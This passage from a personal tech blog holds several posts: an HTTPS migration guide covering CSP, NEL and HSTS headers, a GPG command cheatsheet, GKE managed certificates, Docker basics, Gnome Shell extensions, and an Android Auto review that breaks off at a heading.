TLS certificates issued by other CAs are valid for a longer time (1 or 2 years usually), therefore in certain (premature) environments this can be more suitable option.

Also, TLS encryption can be provided out-of-the-box as a managed service. As an example, Cloudflare provides a TLS proxy service, Google Cloud Platform provides managed TLS service, that is also available for Kubernetes.

TLS configuration

The certificate itself does not ensure the security - it enables the client to verify the server’s authenticity and to perform the TLS handshake.

The actual TLS setup security depends on the configuration of the HTTPS server, in particular which TLS versions and cipher suits are supported by the server.

To ensure the consistent configuration of the HTTPS services, it makes sense to serve all HTTPS traffic through the single TLS proxy. It can be both hosted on-premise or the online TLS service can be used.

The TLS configuration test can be used to evaluate the security of both certificate and the server setup. I suggest to aim for at least “A” grade unless some specific exeptions are needed (i.e. RC4 cipher support, which is used in old MSIE browser versions).

The continuous improvement of the HTTPS server setup is needed as new weaknesses are discovered in the certain TLS protocol versions and cipher suits, thus new configuration options emerge. There’s a good quick summary of protocol and cipher security in Wikipedia.

Reporting and Testing

As the ultimate target is to fully migrate to HTTPS, there is a need to be safe that such change will not introduce any regression and faulty web application behavior.

Content Security Policy (CSP) violation reporting

One of the main means to ensure HTTP transport security is by utilizing Content Security Policy (CSP). Using CSP the web browsers are instructed to control the origins that web application can load assets from.

CSP can work both in enforced mode (User Agents are blocking certain requests) and in report-only mode (violations are logged). The latter mode can be used to safely define a desired set of CSP directives and to perform a dry-run without actual negative impact to the end users.

The CSP directive configuration very much depends on the web application structure and the origins that are (and should be) allowed to load the assets from.

The violations can be logged to the Reporting service, report-uri.com being one of the popular ones, run by Scott Helme and Troy Hunt - the well-known figures in the Application Security universe.

I suggest to start from the very strict policy (i.e. default-src 'self') and to loosen it with the needed origins (i.e. CDN domains) and with the directives that fixing costs too much to be included to scope of the mirgation to HTTPS project (i.e. 'unsafe-inline'). Just be aware that once you make changes in production, your logs might get filled REALLY quickly.

After number of CSP alteration we defined the safe policy (suitable for our web application) to be used in the report-only mode. This is how the HTTP response header looks like for such policy:

Content-Security-Policy-Report-Only: default-src data: https: 'unsafe-inline' 'unsafe-eval' 'report-sample'; report-uri https://EXAMPLE.report-uri.com/r/d/csp/reportOnly

While being a safe to be used in the production within a scope of a HTTPS migration, such CSP is NOT secure, especially data:, 'unsafe-inline' and 'unsafe-eval' origins. However, if these origins are used in the application, it needs to be refactored in order to exclude it from the CSP origin whitelist.

The CSP reports are submitted in JSON format. The report example:

{
    "csp-report": {
        "blocked-uri": "eval",
        "column-number": 2718,
        "document-uri": "https://www.example.com/some-uri",
        "line-number": 1,
        "original-policy": "default-src https:; script-src https: 'unsafe-inline' 'report-sample'; report-uri https://EXAMPLE.report-uri.com/r/d/csp/reportOnly",
        "script-sample": "function anonymous(\n) {\nreturn this.GetP…",
        "source-file": "https://www.example.com/document-with-a-csp-violation",
        "violated-directive": "script-src"
    }
}

Analysing and tuning the CSP gives a good overview of the dependencies of your application(s) and lets you adjust the scope of the migration to HTTPS project.

For example, we found out that some of our applications load assets from the user-defined origins and introducing the restrictions might result in the undesired behavior. Therefore we left such applications out of scope (HTTPS is enabled but not forced), accepting the risk of a mixed content-based threats.

Network Error Logging (NEL) reporting

Network Error Logging is a modern standard allowing web browsers to report the Network Errors by utilizing W3C Reporting API. Scott Helme has a comprehensive blogpost about NEL.

The following TLS errors can be reported:

tls.version_or_cipher_mismatch
    The TLS connection was aborted due to version or cipher mismatch
tls.bad_client_auth_cert
    The TLS connection was aborted due to invalid client certificate
tls.cert.name_invalid
    The TLS connection was aborted due to invalid name
tls.cert.date_invalid
    The TLS connection was aborted due to invalid certificate date
tls.cert.authority_invalid
    The TLS connection was aborted due to invalid issuing authority
tls.cert.invalid
    The TLS connection was aborted due to invalid certificate
tls.cert.revoked
    The TLS connection was aborted due to revoked server certificate
tls.cert.pinned_key_not_in_cert_chain
    The TLS connection was aborted due to a key pinning error
tls.protocol.error
    The TLS connection was aborted due to a TLS protocol error
tls.failed
    The TLS connection failed due to reasons not covered by previous errors

The errors can indicate wrong configuration, use of expired or revoked TLS certificate and the misuse or potential TLS-based attack scenarios.

The errors can be logged to the aforementioned report-uri.com service by adding the certain HTTP response headers (replace term “EXAMPLE” with your configured one):

Report-To: {"group":"default","max_age":604800,"endpoints":[{"url":"https://EXAMPLE.report-uri.com/a/d/g"}],"include_subdomains":true}
NEL: {"report_to":"default","max_age":604800,"include_subdomains":true}

In this example the max_age directive is set to 7 days (604 800 seconds). This is the time for which web browser stores this setting for a certain domain (or for all subdomains as well as in the example above). After testing period the max_age attribute should be increased to a much longer period (i.e. 365 days / 31 536 000 seconds).

Manual testing

While report-only CSP can be deployed in production and over time most violations will get reported, there are certain cases when manual testing is needed, for example:

Internal applications or subsystems with restricted access
Specific browser extensions are used and reports show blocked chrome-extension or similar URI

Manual testing provides the ability not only to report the violations, but to see the actual impact. Therefore during the manual testing it is needed to use the enforced CSP mode which actually blocks requests. Due to potential negative impact it obviously cannot be done for all users.

One of the easiest ways is to use the browser extension to modify the HTTP headers. ModHeaders extension is available for Chrome and Firefox, allowing to perform the manual test.

Read further section to get the actual CSP policy which can be used along with this extension for testing.

Forcing HTTPS

After the web application(s) are accessible via HTTPS, testing is performed, scope for forcing HTTPS is clarified and the CSP policy is defined, it is time to move the the second stage - force the HTTPS for these applications.

Upgrading insecure requests

Upgrade insecure requests is a CSP directive informing web browsers to seamlessly upgrade all requests from the web application to use HTTPS even if the HTTP is used in the application code. As the result it reduces the mixed content likelihood and improves the application security with very little effort.

Under the hood it works this way: the browser indicates the support of this feature via request HTTP header

Upgrade-insecure-requests: 1

The upgrade itself is set via response HTTP header:

Content-Security-Policy: upgrade-insecure-requests; default-src https:

Combined with the previously defined CSP policy, we can now define and activate the final CSP which works in the enforced mode:

Content-Security-Policy: upgrade-insecure-requests; default-src data: https: 'unsafe-inline' 'unsafe-eval' 'report-sample'; report-uri https://EXAMPLE.report-uri.com/r/d/csp/reportOnly

There are some caveats though for using CSP upgrade-insecure-requests: at the time of writing (October 2019) the specification is still a Candidate Recommendation and lacks support from MSIE and Edge browsers. Also it does not protect against initial insecure requests, which can eavesdropped or intercepted. Therefore we need additional measures (HTTP redirects and HTTP Strict Transport Security) to overcome these limitations.

HTTP redirects

There are cases when the upgrade-insecure-requests does not ensure the protocol upgrade:

Web browsers not supporting this CSP directive (MSIE, Edge)
Search engines and web crawlers (robots)
Service-to-service integrations (when the User Agent is not a web browser)

For such cases, instead of serving the HTML content via HTTP, we need to perform the HTTP to HTTPS redirect. This can be done by responding the 301, 302, 307 or 308 HTTP Response code with the Location header containing the URL with upgraded HTTP scheme.

301 and 302 response codes work well for GET requests, but browsers do not resend full HTTP body if the method is POST or other method containing the HTTP body. 308 is not supported by legacy browsers.

Therefore the best option in this case is to use HTTP 307 Temporary Redirect response.

Secure cookies

HTTP cookies can be sent both via secure and insecure connections. As usually the session identifiers are stored in cookies, exposing this information via unencrypted network might result in the session hijacking attacks. In order to limit the cookies to be sent via HTTPS only, it is needed to set the secure cookie attribute.

Another modern (but not yet standartized) cookie improvement is cookie prefixes. In order to allow the cookies to be set only from the secure connection, it is suggested to add the __Secure- prefix to the cookie name. However this change would require the changes in the application code, so cookies named i.e. session_id would be renamed to __Secure-session_id.

The cookie prefixes are not yet supported by MSIE and Edge browsers, but this is not a breaking change, so still worth implementing.

HTTP Strict Transport Security (HSTS)

In order to reduce the likelihood of protocol downgrade attacks, the HTTP Strict Transport Security (HSTS) should be used. It instructs web browsers to remember that all connections to certain (sub)domains need to be done only using HTTPS.

It is done by sending the HTTP response header:

Strict-Transport-Security: max-age=31536000

where 31536000 means the 365 days period in seconds for which this setting should be remembered by the particular user’s web browser.

I recommend to start from the shorter time (minutes to days), and extend it once everything works as expected.

If all subdomains for particular domain work under HTTPS, we can also add the directive includeSubDomains:

Strict-Transport-Security: max-age=31536000; includeSubDomains

In such case, this header needs to be sent from the root domain, so even if the application runs from www.example.com, at least one asset (including the HSTS header) needs to be loaded from example.com (non-www) domain.

Interesting note, confirming the choice of 307 redirect header in the previous chapter is that Chrome’s internal redirect used for HSTS-based redirects uses the same 307 HTTP response code:

HTTP 307
Non-Authoritative-Reason: HSTS

Further actions

After all these measures are applied, we have a web application fully operating via HTTPS. However the following measures can also be considered:

HSTS Preload

While HSTS works for the particular web browser instance, the new visitors of the web application can be attacked. The HSTS Preload feature can be used to include the certain domain to the HSTS Preload list. This list is hardcoded in all major web browsers. To include the domain to the list the following needs to be done:

Include the following HSTS header (note that the value of max-age is equal to 2 years):

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

Submit the domain to the HSTS Preload list.

As the side-effect, you need to be aware that there will be no easy way back from HTTPS :)

Tuning CSP

Content Security Policy can ease migration to HTTPS, but its main purpose is to protect agains code injection attacks (i.e. XSS). Although during the migration project we might whitelist the insecure origins like unsafe-eval, unsafe-inline and others, such CSP policy does not do what it’s meant for. The is even a list of such Useless CSP.

The assessment of the application, identification of threats and remediating them, potentially utilizing CSP as a tool is a good follow-up activity.

Learning more about web application security

There are way more topics and techniques to ensure the web application security.

Learning them and planning for the implementation within the web application should be the further steps.

As a good start, Mozilla Infosec team has a good overview of them ranked according to the security benefit and implementation effort.

GPG cheatsheet

Tue, 08 Oct 2019 00:00:00 -0500

What is GPG

GPG (GNU Privacy Guard) is the open source utility - the implementation of OpenPGP protocol used for signing and encrypting data. The protocol utilizes both public-key and symmetric cryptography which ensures the confidentiality and integrity of the data, and also provides the services for key management and discovery.

The verbose documentation can be found in the 20 year old GPG Handbook. This page is a quick summary of the most commonly used commands.

Key management functions

Creating a keypair

OpenPGP private/public key pair is created using the command:

$ gpg --gen-key

During the process you will need to provide the Real name (full name), Email address, (optionally) a Comment and a Passphrase to secure the access to your Private Key (Secret Key).

The public key will be stored in your OpenPGP keychain, most likely in ~/.gnupg.

The private key will be used to sign and decrypt data and must NOT be disclosed, while the public key can be freely distributed and will be used to verify the data signed by you and to encrypt the data which needs to be securely transferred to you.

Listing keys

The GPG keys that are stored in the GPG keychain are listed using command:

$ gpg --list-keys

Exporting a public key

To export the public key from the keychain to the ASCII-armored file, use command:

$ gpg --armor --output <FILENAME>.asc --export <User ID>

or gpg -a -o <FILENAME>.asc -e <User ID> as a shorthand.

Email address is used as the Key ID.

.asc extension is used for ASCII-armored GPG data. Binary GPG data is usually stored in .gpg files.

Uploading a public key to a OpenPGP key server

The public key can be exported to the OpenPGP keyserver for easier discovery and sharing:

$ gpg --keyserver <KEYSERVER> --send-keys <KEY HEX FINGERPRINT>

for example gpg --keyserver keyserver.ubuntu.com --send-keys 0x01CECB1C27D919EEC25DDAA56948635145E59E2

Retrieving and importing a public key

To import the public key from the file to the keychain use command:

$ gpg --import <FILENAME>.asc

To import the public key from the keyserver by searching it, use command:

$ gpg --keyserver <KEYSERVER> --search-key <KEY FINGERPRINT or USER ID>

for example: gpg --keyserver keyserver.ubuntu.com --search-key 0x01CECB1C27D919EEC25DDAA56948635145E59E24 or $ gpg --keyserver keyserver.ubuntu.com --search-key paulius.lescinskas@gmail.com.

Backing-up the private key

The list of private keys can be retrieved by the command:

$ gpg --list-secret-keys

The sec section contains the cryptography algorithm, expiration date and the key ID.

The following commands exports the ASCII-armored private key (secret key) with the id <KEY ID> to the file <FILENAME>.asc:

$ gpg --armor --output <FILENAME>.asc --export-secret-keys <KEY ID>

or gpg -ao <FILENAME>.asc --export-secret-keys <KEY ID> as a shorthand.

The file can then be backed up, and imported to another machine via the aforementioned key import command:

$ gpg --import <FILENAME>.asc

Data encryption and decryption

Data encryption

To encrypt the file, use the following command:

$ gpg --encrypt --recipient <RECIPIENT USER ID> <FILENAME>

or gpg -e -r <RECIPIENT USER ID> <FILENAME> as a shorthand.

This will encrypt the <FILENAME> file using the key of a user with a <RECIPIENT USER ID>. The recipient’s public key needs to be imported to the keychain beforehand. The USER ID is usually a user’s email.

The <FILENAME>.gpg will be created with the encrypted data. The --output <FILENAME> can be used to override the file name. The --armor key can be used to create the ASCII-armored version of the file. In such case the default file extension will be .asc.

Data decryption

The encryped file is decrypted by the owner of the private key using the following command:

$ gpg --output <DECRYPTED OUTPUT FILE NAME> --decrypt <ENCRYPTED FILE NAME>

or gpg -o <DECRYPTED OUTPUT FILE NAME> -d <ENCRYPTED FILE NAME> as a shorthand.

You will be asked to provide the Passphrase of your private key to decrypt the file.

Signing ang verifying data

Signing

ASCII-armored signature of the file <FILENAME> is generated using a command:

$ gpg --sign --armor <FILENAME>

or gpg -sa <FILENAME> as a shorthand.

This will generate a signature file <FILENAME>.asc.

Verifying signature

The signature can be verified using a command:

$ gpg --verify <SIGNATURE FILE>

Let's Encrypt managed TLS certificates in Kubernetes (GKE)

Thu, 03 Oct 2019 00:00:00 -0500

Securing the web application Internet traffic is one of the most common activities as the HTTPS is a must nowadays. Let’s Encrypt is becoming the most commonly used Certificate Authority providing the ability to automate the certificate issuing and renewal using ACME protocol.

With growing Kubernetes (K8s) popularity, the web applications hosted in such environment meet the same requirements, but face different challenges; mostly due to not-so-trivial configuration and complicated certificate renewal.

If you are using Google Kubernetes Engine (GKE) on Google Cloud Platform (CGP), it is possible to use managed Google TLS service to automate the TLS provisioning and certificate renewal.

It’s important to mention though that such implementation is vendor (Google) specific and might result in the vendor lock, so keep that in mind.

Also, this service is currently in Beta stage, so it has some limitations and potential issues.

The workflow of using the managed TLS certificates is relatively simple:

Create K8s ManagedCertificate object(s)
Configure the Ingress controller to use these certificates
Make an HTTPS request to your domain
Wait 10-20 minutes for magic to happen

The K8s ManagedCertificates object structure is the following (real world example from my blog):

apiVersion: networking.gke.io/v1beta1
kind: ManagedCertificate
metadata:
  name: lescinskas-lt-cert
spec:
  domains:
  - lescinskas.lt

The object is created as usual in K8s - using kubectl apply.

If you need to configure the Ingress controller with multiple domains, each (sub)domain needs to be set up as a separate object (current service limitation).

After setting the ManagedCertificates up, the annotation needs to be added to the Ingress configuration and applied as usual:

apiVersion: "extensions/v1beta1"
kind: Ingress
metadata:
  name: "lescinskas-lt-ingress"
  annotations:
    networking.gke.io/managed-certificates: "lescinskas-lt-cert,www-lescinskas-lt-cert"
...

Certificate objects are listed using comma as the separator. In this example I use both lescinskas.lt and www.lescinskas.lt domains to expose this website to the Internet.

During the provisioning the HTTPS version of the website will return various errors:

502 HTTP error
SSL_ERROR_NO_CYPHER_OVERLAP TLS error
Some backend services are in UNKNOWN state error in Google Cloud console

This should get automatically fixed within 10-20 minutes.

This is tolerable for new HTTPS setups, however for the web applications that already have some manual HTTPS configuration, such migration to this service will result in the certain downtime.

Docker basics

Mon, 27 May 2019 00:00:00 -0500

What Docker is

Docker is a container virtualization technology, allowing running applications in the isolated environments simultaneously in a single machine.

The main benefits are the following:

Quick developer onboarding (no need for manual installation and configuration of environment)
Environment isolation between applications
Consistency between environments
Fast deployment
Quick startup and shutdown

As Docker does not virtualize the whole operating system, but the application environment (libraries, binaries, configuration) it runs fast and with low footprint and is extremely useful for building 12-factor apps.

Source: https://medium.com/@satish1v/docker-for-net-developers-e73961b24e9d

Installing Docker

There are different versions of Docker: CE (Community edition) and EE (Enterprise Edition). For personal use we will use Community Edition.

Docker can be installed from the official repositories. The instruction for Ubuntu: https://docs.docker.com/install/linux/docker-ce/ubuntu/

It is beneficial to add your user to the docker group after install and perform other Post-installation actions.

The installation options for other operating systems are also available in Docker website.

What a Docker image is

Image is a layered file system that is used to run a container. According to Docker docs “Docker image consists of read-only layers each of which represents a Dockerfile instruction. The layers are stacked and each one is a delta of the changes from the previous layer.”

Images are stored locally and in the image registries (i.e. DockerHub), from which they can be pulled when needed.

The images are identified using the combination of repository and tag in the <repository>:<tag> form.

The repository structure is the [<registry>/][<user>/]<image name>. The registry can be ommitted if the image is hosted at DockerHub; the user can be ommitted if the image is verified or published by Docker.

The tag is a string identifying a version of an image. If omitted, the default tag value latest is applied.

For example:

gcr.io/google-samples/echo-node:1.0 - the image at gcr.io registry from a user google-samples named echo-node and tagged 1.0
ubuntu - the image at docker.io (DockerHub) registry from the official (void) user, named ubuntu and having a latest tag

What a container is

Container is the application running as the instance of the container image. In most cases it is a single process running in the isolated environment within the Docker Engine. During the lifetime of the process the container is running and is automatically stopped after the process is terminated.

The states of the containers and the transitions are very well described in the chart:

Source: http://docker-saigon.github.io/post/Docker-Internals/

The container should be treated as the stateless application instance, thus might be restarted and replaced anytime.

If needed, the persistent storage can be achieved by mounted volumes or by using the external storage or database services.

Docker tools

Below you can find the list of most commonly used docker command.

Image commands

docker pull <image> - downloads the image from the registry. It might require logging-in using docker login if the image is from the private repository.

docker image ls (shorthand: docker images) - lists all images on the machine.

docker image rm <image ID> (shorthand: docker rmi <image ID>) - removes the image.

It is convenient to provide the just the beginning part (a couple of symbols) of the ID (image ID, container ID etc.), i.e.:

$ docker image ls
REPOSITORY                                                 TAG                 IMAGE ID            CREATED             SIZE
node                                                       latest              d97e1f326ca9        3 weeks ago         906MB
node                                                       current-alpine      80a733d0cd8c        3 weeks ago         77.3MB
ruby                                                       2.5-alpine          d4adfc042285        5 weeks ago         54.4MB
alpine                                                     latest              5cb3aa00f899        2 months ago        5.53MB
hello-world                                                latest              fce289e99eb9        4 months ago        1.84kB

$ docker image rm fc
Untagged: hello-world:latest
Untagged: hello-world@sha256:6f744a2005b12a704d2608d8070a494ad1145636eeb74a570c56b94d94ccdbfc
Deleted: sha256:fce289e99eb9bca977dae136fbe2a82b6b7d4c372474c9235adc1741675f587e
Deleted: sha256:af0b15c8625bb1938f1d7b17081031f649fd14e6b233688eea3c5483994a66a3

In the example above the image hello-world which ID starts with ID fc is removed.

As the Docker images are built on top of other images it creates a layered file structure. These layers (commands triggering the filesystem changes) can be listed using command:

docker image history <image ID>

The image content can be exported (saved as tar archive) using a command:

docker image save <image> -o <file>

Container commands

docker container run <image> <cmd args> (shorthand: docker run ...) - runs the container from the image. Also automatically pulls (downloads) image if it’s not available locally. The image has an entry point command which is invoked when running command. It can have default argument list, but it can be overriden by the command arguments when running the container.

While docker container run command has many option keys, the most commonly used ones are:

-d - runs container in the detached mode
-it - these are separate keys -i (interactive) and -t (pseudo-TTY) usually used together to provide the interactive TTY
-v - mounts the volume from the host machine to the container. When used as -v /path/to/dir/on/host/machine/:/dir/in/container the volume persists.
-e - sets the environment variables in the container
-p - maps the TCP port from the container to the host machine. I.e.: setting the value "8080:4000" will expose the port 4000 from the container to the host machine as 8080 port, so it could be accessed as this port within the host’s loopack network interface (localhost host /127.0.0.1 IPv4 address)

For example, the following command runs bash in the Ubuntu distribution from a Docker container:

docker container run -it ubuntu /bin/bash

The interactive container can be detached using the key combination Ctrl+P Ctrl+Q. The container’s interactive console can be attached again using the command:

docker container attach <container ID or name>

Alternatively, another process (bash in this example) can be executed and run as a separate TTY:

docker container exec -it <container ID or name> bash

While it is easy to run the single container from the command line, it is less convenient to do so for the services runningas as multiple related containers. Also, it is a usual case when containers need to communicate with each other - then the separate Docker configuration of Network is needed. Such imperative way of running is also error-prone. The preferred declarative way of defining the desired configuration of images, networks, building them, running and stopping containers is using the docker-compose utility.

Other common container commands:

docker container ls (shorthand: docker ps) - lists the running containers. The key -a shows all (including stopped) containers.

docker container rm <container ID> (shorthand: docker rm ...) - removes the container. The key -v also removes the volumes.

docker container inspect <Container ID> - shows the information about the container

docker container prune - removes the stopped containers

System commands

docker system df - show the summary of size used by the images, containers, volumes

docker system info - shows the system information

docker system prune - removes stopped containers, networks, dangling images

docker system prune --volumes - removes all volumes

Building images with Dockerfile

Docker images are built using the instructions written in the file, usually named Dockerfile. The most common instructions:

FROM - base image. THe new imagae will be based on top of this image
RUN - runs the command to build the image. Multiple RUN commands can be defined
COPY - copies the file or the directory from local machine to the container image. The list of ignored path patterns can be defined in the .dockerignore file. The key --from=<image> can be used to copy the files from the existing image or during the multi-stage builds.
WORKDIR - the directory where the initial run command should be run from
EXPOSE - the TCP port which the containerized applications listens to
ENV - environment variable (in the form of KEY="value")
VOLUME - sets the moundpoint
ENTRYPOINT - the initial command to be run during the container start
CMD - default command-line parameters passed to the entrypoint command. They can be overriden during the docker container run ... command
LABEL - adds container label. The labels are used for filtering the containers, images etc. The label keys are named using the reverse-domain notation. Multiple labels can be added.
HEALTHCHECK - defines the criteria for checking the health of a container. I.e.: HEALTHCHECK CMD curl -f http://localhost/ || exit 1. The command is run inside the container. The interval, timeout, start period and number of retries can be configured.

Full Dockerfile reference

The best practices and examples on writing Dockerfile

The image is build using the command:

docker build -t <image>:<tag> <path> - builds the Docker image from the instuction defined in the Dockerfile file in the path (path can be . if the command is run from the same directory as Dockerfile). The different file name can be provided using -f key. Multiple tags can be provided. CPU and memory limits can be set using -c and -m keys respectively.

Multi-stage builds

It is useful to separate the images for development and building the application and the ones running in production. The main benefit is the smaller size of the image running code in production.

Multi-stage builds allow defining aliases for builds and copy the content from the generated temporary image to another one, i.e.:

FROM <build image> AS <alias>
... (image build instructions)

FROM <runtime image>
COPY --from=<alias> /path/to/the/files/at/built/image /path/to/runtime/files

The --from= parameter can also be used to copy the files from the external image, i.e.: COPY --from=nginx /etc/nginx/nginx.conf /nginx.conf.

More info on Multi-stage builds: https://docs.docker.com/develop/develop-images/multistage-build/.

Pushing image to the registry

The built images may be pushed to the online image registry for later reuse.

It is needed to authenticate to the registry first:

docker login [server] - authenticates to the DockerHub or other registry if server is provided.

The authentication information is stored in ~/.docker/config.json uncencrypted (!) or in another more secure credential store.

After authentication the image can be pushed using the command:

docker push <image>

Docker compose

Compose is a tool for defining and running multi-container Docker applications. With Compose, you use a YAML file to configure your application’s services. Then, with a single command, you create and start all the services from your configuration. (source)

Docker Compose can be installed by following the installation instructions.

docker-compose.yml file is used to declaratively define the services that are built and run as Docker containers. The service is an application which runs either as a single container or is replicated to multiple containers.

The services can deployed and managed using the Orchestration tool “Docker Swarm”. Also, there are other container orchestration and cluster management tools like Kubernetes, Mesos, Rancher that can be used to manage the services. Kubernetes is pretty popular now and there are number of vendors providing Kubernetes as a Service therefore it is worth considering container orchestration using Kubernetes. Let’s keep the deployment topic for the next blogpost.

The docker-compose.yml contains the following structure:

Version of the Docker Compose API specification, the configuration is compatible with
Services configuration
Networks configuration
Volumes configuration

The sample file content:

version: '3' # API version

services:
  myservice: # Service name
    build: # Build section. The directives are applied when building the image
      context: .
      dockerfile: Dockerfile
    image: image:tag # The image which is used to tag the image during the build and to run the containers from
    volumes:
      - ".:/site" # Mounts current directory to the container
      - "dbdata:/path/to/db/files" # Reusable volume among the containers
    ports:
      - '8080:4000' # Exposed port mapping. This will expose the TCP port 4000 from the container to the host machine as 8080 port
    networks:
      - my-network # Network name. Needed for multiple servers to communicate between each other

networks:
  my-network:
    driver: overlay

volumes:
  dbdata:

Full Compose file reference

Docker-compose commands

These are the most common docker-compose commands. The commands should be run in the same directory as the docker-compose.yml file location:

docker-compose up - runs the containers described in the services section. If needed, builds the images first (using the build section). The key -d runs the services in the “detached” mode (background).

docker-compose down - removes the running service containers

docker-compose build [<service>] - builds the image for all or defined services

docker-compose logs - shows the output from the containers

docker-compose ps - lists the containers

docker-compose stop - stops the containers (does not remove them)

docker-compose start - starts stopped containers

docker-compose rm - removes stopped containers

What’s next

While Docker is very popular, the other application container engine is rkt is very promising and worth attention. Also, it is conceptually closer to the very popular container orchestration system Kubernetes and Application Container specification by the Open Container Initiative.

The container orchestration and cluster management platforms(Docker Swarm, Kubernetes) are used to deploy and run the containers in production. Considering the existing and growing popularity or Kubernetes, it is likely to be the way to go further.

Gnome Shell extensions for a productive Ubuntu environment

Wed, 28 Nov 2018 00:00:00 -0600

After Ubuntu replaced the Unity environment with Gnome Shell in 17.10 version, the old Ubuntu-diehards had to adopt this new interface and workflow.

While Unity was slightly limiting environment, I appreciated its focus to the productivity, usability and window space optimization. Luckily, Gnome Shell environment can be customized using Gnome Extensions, allowing to achieve the same or even better level of productivity.

Pre-installed extensions on Ubuntu

Ubuntu comes with 2 pre-installed extensions:

Ubuntu AppIndicators

This extension shows Ubuntu AppIndicators and Gnome tray items in the top panel, allowing easy access to the menu controls and visual indicator of the certain applications:

For non-ubuntu users the same extension can be installed from (K)StatusNotifierItem/AppIndicator Support.

The legacy tray icons can be “moved” to the top panel using the Top Icons Plus extension.

Ubuntu Dock

Ubuntu comes with the application launcher known as Dock. It is slightly modified version of Dash to Dock extension, which is very popular among non-Ubuntu users of Gnome Shell. Its alternative Dock to Panel is another good choice, considering that it combines the launcher and the application tray into the single panel.

Useful extensions

Besides AppIndicators and Dock extensions there are plenty extensions to improve the usability and productivity. Here’s the list of my favorite extensions (in alphabetical order):

Alt Tab Workspace

While it is convenient to organize the windows in the workspaces, the Alt-tab navigation through these windows can be difficult.

The Alt Tab Workspace extension cycles through the windows in the active workspace only.

Clipboard Indicator

For those who use copy/paste a lot it is useful to have the ability to see the clipboard history and switch between the clipboard items.

This could be achieved using the Clipboard indicator extension:

Display Button

I use my computer in different locations using various external monitors and media projectors. It is not convenient to navigate through the settings each time I want to change the display layout (mirrored or joined displays).

The Display Button extension allows accessing the Display Settings within a single click.

Hide Activities Button

I am a big fan of screen space optimization - I want to see only relevant information, therefore the “Activities” button in the top panel seems wasteful.

The Hide Activities Button extension hides this button. The Activities window can still be accessed using the “hot” top left corner or by clicking the Super key.

No Title Bar

Another great extension that optimizes the screen space is No Title Bar. It is a highly customizable extension, which allows removing the unneccessary title bar for maximized applications, replacing the application name with the window name etc.

While standard Gnome apps look good in any case, as they don’t have separate title bar, this is not the case in other applications.

So, instead of

this extension lets you see

OpenWeather

Apparently, one of the most popular Gnome extension is OpenWeather extension:

The Removable Drive Menu is an extension that provides quick access to the mounted drives or network shares and allows quick unmount:

Sound Input & Output Device Chooser

Sound Input & Output Device Chooser extension is one of the most useful extensions, which allows to switch the sound input and output devices and their profiles:

Suspend Button

By default Gnome Shell does not expose the “Suspend” button in the User Interface. As I find this feature missing, such button can be added using the Suspend Button extension:

system-monitor

It is convenient to see the computer resource usage in the top panel. This can be achieved using the system-monitor extension:

This extension is the Gnome Shell alternative to Unity’s “Indicator multiload”. It is highly customizable extension.

However, it depends on certain libraries, which need to be installed using command:

$ sudo apt install gir1.2-gtop-2.0 gir1.2-networkmanager-1.0  gir1.2-clutter-1.0

Also, I had troubles installing this extension from extensions.gnome.org, so I had to install it from the command shell:

$ sudo apt install gnome-shell-extension-system-monitor

More information on this extension can be found in the extension’s Github page.

Other useful tips

There are some other ways to increase productivity by tweaking the Gnome Shell settings. This can be done using the Tweaks application. It can be installed using the command:

$ sudo apt install gnome-tweak-tool

Moving window controls to the left

Back in 2010 when window controls (close, minimize, maximize) were moved to left, it seemed strange for me at first. However the reason behind this move is pretty clear - as most important information (i.e. text in the document) and controls (i.e. menu items) are displayed in the top left side, placing window controls in the left side reduces the shift on the visual focus.

Although the default window controls are now placed on the right side, I don’t treat this as a right decision. Good at least, this can be changed quite easily using the aforementioned Tweaks application:

I also tweak some of the top menu configuration parameters:

Enable activity hot corner
Display week numbers in the calendar
Show battery percentage

Touchpad tweaks

Using a laptop touchpad a lot it makes sense to define how the secondary and middle clicks are treated: either by tapping with 2 or 3 fingers, or by clicking the certain touchpad area. Clicking the certain area seems to me more error-prone therefore I use the “Fingers” option:

Android Auto

Mon, 20 Mar 2017 00:00:00 -0500

When I was looking for a new car, one of my requirements for the car was to have the Android Auto support. I expected a lot from this system, and the manufacturers who invest into supporting new technologies, get kudos from me.

I have chosen Škoda Octavia, however I had to pay additional 150 € for Android Auto support.

Here is my experience after using Android Auto for some time.

Availability

At the time I bought this car, Android Auto was not available in Lithuania (it still isn’t BTW). So it was a disappointing moment to discover that you can’t use what you’ve paid for.

Luckily, it is possible to sideload the APK file from the mirror site. You lose the automatic updates and security assurance, but it’s still better than nothing.

What’s inside

Having Android Auto support and the Android Auto-compatible smartphone allows you to use Google-designed Navigation, Calling, Messaging and Music interface in your car’s infotainment screen.

It is possible to use Google Maps as the navigation, Spotify, Deezer, Google Play or other apps for music playback and native or specific apps for calling and messaging.

However the interface and the usability is very limited compared to the native applications.

Due to the Android Auto safety requirements, it is not allowed to make more than 6 touch interactions with the system when the car is moving. You must use voice control for everything.

Environment

The built-in infotainment system I bought with my car is 6,5” “Škoda Columbus”.

I must say that this system is very good: it has very precise offline Navigation (with “here” maps) with 3 years update support, FM radio with RDS, media support from Bluetooth, aux-in, USB, SD card sources.

The Bluetooth integration pairs the phone automatically, synchronizes contacts, calls, SMS messages, allows to control calls and music playback via controls on the steering wheel.

As one of the goals of developing Android Auto was to replace the ugly and uncomfortable built-in infotainment systems, competition with VW-designed infotainment system is the challenging task.

The infotainment system screen resolution however is only 800x480, which is far behind even my Full HD smartphone, also limiting the possibilities of Android auto.

The interesting thing is that since version 2.0 there is a “standalone” mode of Android Auto, meaning you can use the same interface in your smartphone screen, thus you don’t need a car to support Android Auto.

Android Auto uses Google Maps navigation. Rumors say that there should be the support for other navigation systems soon, but Google Maps is pretty good.

Probably the biggest advantage of the offline navigation systems is that Google Maps use realtime traffic information for route planning.

However, the navigation information can be seen in the infotainment system, but not in the dash (screen in the middle of speedometer and tachometer).

Another annoying thing is the day and night modes. The “night” mode is turned on while it’s still early and it becomes very difficult to see anything in the screen.

The day/night mode is controlled automatically using ambient sensor. Luckily, there is a way to force a mode: it is needed to tap 10 times on “About Android Auto” in “About” window and it becomes possible to choose the mode in “Developer Settings” window:

Phone and messaging

While it is possible to answer the calls and see the latest call information, the contact search, message composition, and other related actions are done using voice commands and voice recognition.

In English-speaking countries this might work quite ok, but in other cases it’s pain in the ass.

Music

As I mentioned previously, the usabiliy is quite limited due to safety constraints. Therefore it is possible to access only limited set of albums or playlists.

The voice control is also far from perfect. While it understands basic terms, like bands, more complex terms (i.e. songs or albums) are misunderstood in most cases, making the system almost unusable.

Android Auto 2.0

